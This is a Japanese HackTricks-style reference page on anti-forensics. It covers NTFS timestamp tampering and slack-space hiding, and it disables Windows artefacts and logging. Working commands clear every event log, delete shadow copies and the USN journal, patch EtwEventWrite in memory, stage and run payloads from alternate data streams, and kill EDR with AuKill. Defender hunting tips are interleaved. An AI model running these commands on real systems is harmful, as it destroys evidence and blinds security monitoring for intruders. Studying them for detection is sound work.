アンチフォレンゞック技術

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

タむムスタンプ

攻撃者はファむルのタむムスタンプを倉曎するこずに興味を持぀かもしれたせん。
タむムスタンプは、MFT内の属性$STANDARD_INFORMATION __ ず __ $FILE_NAMEに芋぀けるこずができたす。

䞡方の属性には4぀のタむムスタンプがありたす: 倉曎, アクセス, 䜜成, および MFTレゞストリ倉曎 (MACEたたはMACB)。

Windows゚クスプロヌラヌや他のツヌルは、**$STANDARD_INFORMATION**からの情報を衚瀺したす。

TimeStomp - アンチフォレンゞックツヌル

このツヌルは**$STANDARD_INFORMATION内のタむムスタンプ情報を倉曎したすが、$FILE_NAME内の情報は倉曎したせん**。したがっお、疑わしい 掻動を特定するこずが可胜です。

Usnjrnl

USNゞャヌナル (Update Sequence Number Journal)は、NTFS (Windows NTファむルシステム)の機胜で、ボリュヌムの倉曎を远跡したす。UsnJrnl2Csvツヌルを䜿甚するず、これらの倉曎を調査できたす。

前の画像は、ツヌルによっお衚瀺された出力で、ファむルに察しおいく぀かの倉曎が行われたこずが芳察できたす。

$LogFile

ファむルシステムぞのすべおのメタデヌタ倉曎は、曞き蟌み先行ログずしお知られるプロセスで蚘録されたす。蚘録されたメタデヌタは、NTFSファむルシステムのルヌトディレクトリにある**$LogFile**ずいう名前のファむルに保持されたす。LogFileParserのようなツヌルを䜿甚しお、このファむルを解析し、倉曎を特定できたす。

再び、ツヌルの出力では、いく぀かの倉曎が行われたこずが確認できたす。

同じツヌルを䜿甚しお、タむムスタンプが倉曎された時刻を特定するこずが可胜です

  • CTIME: ファむルの䜜成時刻
  • ATIME: ファむルの倉曎時刻
  • MTIME: ファむルのMFTレゞストリ倉曎
  • RTIME: ファむルのアクセス時刻

$STANDARD_INFORMATION ず $FILE_NAME の比范

疑わしい倉曎されたファむルを特定する別の方法は、䞡方の属性の時間を比范しお䞍䞀臎を探すこずです。

ナノ秒

NTFSのタむムスタンプは100ナノ秒の粟床を持っおいたす。したがっお、2010-10-10 10:10:00.000:0000のようなタむムスタンプを持぀ファむルを芋぀けるこずは非垞に疑わしい**です。

SetMace - アンチフォレンゞックツヌル

このツヌルは、䞡方の属性$STARNDAR_INFORMATIONず$FILE_NAMEを倉曎できたす。ただし、Windows Vista以降は、ラむブOSでこの情報を倉曎する必芁がありたす。

デヌタ隠蔜

NFTSはクラスタヌず最小情報サむズを䜿甚したす。぀たり、ファむルがクラスタヌず半分を占有しおいる堎合、残りの半分はファむルが削陀されるたで䜿甚されたせん。したがっお、このスラックスペヌスにデヌタを隠すこずが可胜です。

slackerのようなツヌルを䜿甚するず、この「隠された」スペヌスにデヌタを隠すこずができたす。ただし、$logfileや$usnjrnlの分析により、いく぀かのデヌタが远加されたこずが瀺される可胜性がありたす

その埌、FTK Imagerのようなツヌルを䜿甚しおスラックスペヌスを取埗するこずが可胜です。この皮のツヌルは、内容を難読化たたは暗号化しお保存するこずができたす。

UsbKill

これは、USBポヌトに倉曎が怜出された堎合にコンピュヌタをシャットダりンするツヌルです。
これを発芋する方法は、実行䞭のプロセスを怜査し、実行䞭の各Pythonスクリプトをレビュヌするこずです。

ラむブLinuxディストリビュヌション

これらのディストリビュヌションはRAMメモリ内で実行されたす。怜出する唯䞀の方法は、NTFSファむルシステムが曞き蟌み暩限でマりントされおいる堎合です。読み取り暩限のみでマりントされおいる堎合、䟵入を怜出するこずはできたせん。

セキュア削陀

https://github.com/Claudio-C/awesome-data-sanitization

Windows蚭定

フォレンゞック調査をはるかに困難にするために、いく぀かのWindowsログ蚘録方法を無効にするこずが可胜です。

タむムスタンプの無効化 - UserAssist

これは、ナヌザヌによっお各実行可胜ファむルが実行された日時を保持するレゞストリキヌです。

UserAssistを無効にするには、2぀のステップが必芁です

  1. 2぀のレゞストリキヌ、HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgsずHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabledをれロに蚭定しお、UserAssistを無効にしたいこずを瀺したす。
  2. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>のようなレゞストリサブツリヌをクリアしたす。

タむムスタンプの無効化 - Prefetch

これは、Windowsシステムのパフォヌマンスを向䞊させる目的で実行されたアプリケヌションに関する情報を保存したす。ただし、これはフォレンゞック実践にも圹立ちたす。

  • regeditを実行
  • ファむルパスHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParametersを遞択
  • EnablePrefetcherずEnableSuperfetchの䞡方を右クリック
  • 各々の倀を1たたは3から0に倉曎するために修正を遞択
  • 再起動

タむムスタンプの無効化 - 最終アクセス時刻

NTFSボリュヌムからフォルダヌが開かれるたびに、システムは各リストされたフォルダヌのタむムスタンプフィヌルドを曎新するための時間を取りたす。これは、最終アクセス時刻ず呌ばれたす。NTFSボリュヌムが頻繁に䜿甚される堎合、これがパフォヌマンスに圱響を䞎える可胜性がありたす。

  1. レゞストリ゚ディタを開く (Regedit.exe)。
  2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystemに移動したす。
  3. NtfsDisableLastAccessUpdateを探したす。存圚しない堎合は、このDWORDを远加し、その倀を1に蚭定しおプロセスを無効にしたす。
  4. レゞストリ゚ディタを閉じ、サヌバヌを再起動したす。

USB履歎の削陀

すべおのUSBデバむス゚ントリは、PCたたはラップトップにUSBデバむスを接続するたびに䜜成されるサブキヌを含むUSBSTORレゞストリキヌの䞋にWindowsレゞストリに保存されたす。このキヌはここにありたすHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR。これを削陀するこずで、USB履歎を削陀したす。
たた、USBDeviewツヌルを䜿甚しお、削陀したこずを確認するこずもできたすおよび削陀するために。

USBに関する情報を保存する別のファむルは、C:\Windows\INF内のsetupapi.dev.logファむルです。これも削陀する必芁がありたす。

シャドりコピヌの無効化

シャドりコピヌをリストするにはvssadmin list shadowstorage
削陀するにはvssadmin delete shadowを実行したす。

GUIを介しお削陀するこずも可胜で、https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.htmlで提案された手順に埓いたす。

シャドりコピヌを無効にするには、こちらの手順を参照しおください

  1. Windowsスタヌトボタンをクリックした埌、テキスト怜玢ボックスに「services」ず入力しおサヌビスプログラムを開きたす。
  2. リストから「Volume Shadow Copy」を芋぀けお遞択し、右クリックしおプロパティにアクセスしたす。
  3. 「スタヌトアップの皮類」ドロップダりンメニュヌから「無効」を遞択し、倉曎を確認するために「適甚」ず「OK」をクリックしたす。

シャドりコピヌでコピヌされるファむルの構成を倉曎するこずも可胜で、レゞストリHKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshotで蚭定できたす。

削陀されたファむルの䞊曞き

  • Windowsツヌルを䜿甚できたすcipher /w:C これは、Cドラむブ内の未䜿甚のディスクスペヌスからデヌタを削陀するようにcipherに指瀺したす。
  • Eraserのようなツヌルを䜿甚するこずもできたす。

Windowsむベントログの削陀

  • Windows + R –> eventvwr.msc –> “Windows Logs“を展開 –> 各カテゎリを右クリックしお「ログのクリア」を遞択
  • for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
  • Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }

Windowsむベントログの無効化

  • reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f
  • サヌビスセクション内で「Windows Event Log」サヌビスを無効にしたす。
  • WEvtUtil.exec clear-logたたはWEvtUtil.exe cl

$UsnJrnlの無効化

  • fsutil usn deletejournal /d c:

高床なログ蚘録ずトレヌス改ざん (2023-2025)

PowerShell ScriptBlock/Module Logging

最近のWindows 10/11およびWindows Serverのバヌゞョンは、Microsoft-Windows-PowerShell/Operational (むベント4104/4105/4106)の䞋に豊富なPowerShellフォレンゞックアヌティファクトを保持したす。攻撃者は、これらをオンザフラむで無効にしたり消去したりするこずができたす

# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force

# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent               # requires admin & Win11 23H2+

防埡者は、これらのレゞストリキヌの倉曎ず倧量のPowerShellむベントの削陀を監芖するべきです。

ETW (Event Tracing for Windows) パッチ

゚ンドポむントセキュリティ補品はETWに倧きく䟝存しおいたす。2024幎の人気の回避方法は、メモリ内でntdll!EtwEventWrite/EtwEventWriteFullをパッチしお、すべおのETW呌び出しがむベントを発生させるこずなくSTATUS_SUCCESSを返すようにするこずです。

// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);

Public PoCs (e.g. EtwTiSwallow) は、PowerShell たたは C++ で同じプリミティブを実装しおいたす。
パッチが プロセスロヌカル であるため、他のプロセス内で実行されおいる EDR はこれを芋逃す可胜性がありたす。
怜出: メモリ内の ntdll ずディスク䞊の ntdll を比范するか、ナヌザヌモヌドの前にフックしたす。

Alternate Data Streams (ADS) 埩掻

2023幎のマルりェアキャンペヌン䟋: FIN12 ロヌダヌでは、埓来のスキャナヌの芖界から倖れるために、ADS 内に第二段階のバむナリをステヌゞングしおいるのが確認されおいたす:

rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"

ストリヌムを列挙するには、dir /R、Get-Item -Stream *、たたはSysinternalsのstreams64.exeを䜿甚したす。ホストファむルをFAT/exFATにコピヌするか、SMB経由でコピヌするず、隠しストリヌムが削陀され、調査者がペむロヌドを回埩するために䜿甚できたす。

BYOVD & “AuKill” (2023)

Bring-Your-Own-Vulnerable-Driverは、ランサムりェア䟵入におけるアンチフォレンゞックに日垞的に䜿甚されおいたす。オヌプン゜ヌスツヌルAuKillは、眲名されたが脆匱なドラむバヌprocexp152.sysをロヌドしお、暗号化およびログ砎壊の前にEDRおよびフォレンゞックセンサヌを䞀時停止たたは終了させたす。

AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike

ドラむバヌはその埌削陀され、最小限のアヌティファクトが残りたす。
緩和策Microsoftの脆匱なドラむバヌブロックリストHVCI/SACを有効にし、ナヌザヌが曞き蟌み可胜なパスからのカヌネルサヌビスの䜜成を譊告したす。


Linuxアンチフォレンゞックス自己パッチずクラりドC22023–2025

怜出を枛らすために劥協されたサヌビスを自己パッチするLinux

敵察者は、再利甚を防ぎ、脆匱性に基づく怜出を抑制するために、サヌビスを悪甚した盎埌に「自己パッチ」を行うこずが増えおいたす。アむデアは、脆匱なコンポヌネントを最新の正圓なアップストリヌムバむナリ/JARに眮き換えるこずで、スキャナヌがホストをパッチ枈みずしお報告し぀぀、持続性ずC2を維持するこずです。

䟋Apache ActiveMQ OpenWire RCECVE‑2023‑46604

  • ポスト゚クスプロむト埌、攻撃者はMaven Centralrepo1.maven.orgから正圓なJARを取埗し、ActiveMQむンストヌル内の脆匱なJARを削陀し、ブロヌカヌを再起動したした。
  • これにより、初期のRCEは閉じられたしたが、他の足堎cron、SSH蚭定の倉曎、別のC2むンプラントは維持されたした。

運甚䟋䟋瀺的

# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib

# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar

# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar

# Apply changes without removing persistence
systemctl restart activemq || service activemq restart

Forensic/hunting tips

  • サヌビスディレクトリを確認しお、スケゞュヌルされおいないバむナリ/JARの眮き換えを探したす
  • Debian/Ubuntu: dpkg -V activemq を実行し、ファむルのハッシュ/パスをリポゞトリミラヌず比范したす。
  • RHEL/CentOS: rpm -Va 'activemq*'
  • パッケヌゞマネヌゞャヌに所有されおいないディスク䞊のJARバヌゞョンや、バンド倖で曎新されたシンボリックリンクを探したす。
  • タむムラむン: find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort を䜿甚しお、ctime/mtimeを䟵害りィンドりず盞関させたす。
  • シェル履歎/プロセステレメトリ: 初期の悪甚盎埌に curl/wget を repo1.maven.org たたは他のアヌティファクトCDNに察しお䜿甚した蚌拠。
  • 倉曎管理: “パッチ”を適甚したのは誰で、なぜ適甚されたのかを怜蚌し、パッチバヌゞョンが存圚するだけでは䞍十分です。

Cloud‑service C2 with bearer tokens and anti‑analysis stagers

芳察されたトレヌドクラフトは、耇数の長距離C2パスずアンチ分析パッケヌゞングを組み合わせおいたした

  • サンドボックス化や静的分析を劚げるためのパスワヌド保護されたPyInstaller ELFロヌダヌ䟋暗号化されたPYZ、/_MEI*の䞋での䞀時的な抜出。
  • むンゞケヌタヌ: strings ヒットの䟋ずしお PyInstaller, pyi-archive, PYZ-00.pyz, MEIPASS。
  • ランタむムアヌティファクト: /tmp/_MEI* ぞの抜出たたはカスタム --runtime-tmpdir パス。
  • ハヌドコヌディングされたOAuthベアラヌトヌクンを䜿甚したDropboxバックアップC2。
  • ネットワヌクマヌカヌ: api.dropboxapi.com / content.dropboxapi.com で Authorization: Bearer <token>。
  • 通垞ファむルを同期しないサヌバヌワヌクロヌドからDropboxドメむンぞのアりトバりンドHTTPSを探すために、プロキシ/NetFlow/Zeek/Suricataでハントしたす。
  • トンネリングを介した䞊行/バックアップC2䟋Cloudflare Tunnel cloudflared、1぀のチャネルがブロックされた堎合でも制埡を維持したす。
  • ホストIOC: cloudflared プロセス/ナニット、~/.cloudflared/*.json の蚭定、Cloudflare゚ッゞぞのアりトバりンド443。

Persistence and “hardening rollback” to maintain access (Linux examples)

攻撃者は自己パッチず耐久性のあるアクセスパスを頻繁に組み合わせたす

  • Cron/Anacron: 各 /etc/cron.*/ ディレクトリ内の 0anacron スタブの線集による定期的な実行。
  • ハント:
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
  • SSH蚭定のハヌドニングロヌルバック: ルヌトログむンを有効にし、䜎特暩アカりントのデフォルトシェルを倉曎したす。
  • ルヌトログむンの有効化をハント:
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# "yes" や過床に蚱可された蚭定のようなフラグ倀
  • システムアカりント䟋gamesでの疑わしいむンタラクティブシェルをハント:
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
  • クラりドC2にも接続するランダムで短い名前のビヌコンアヌティファクト8文字のアルファベットをディスクにドロップしたす
  • ハント:
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort

防埡者は、これらのアヌティファクトを倖郚露出およびサヌビスパッチむベントず盞関させお、初期の悪甚を隠すために䜿甚されたアンチフォレンゞック自己修埩を明らかにする必芁がありたす。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする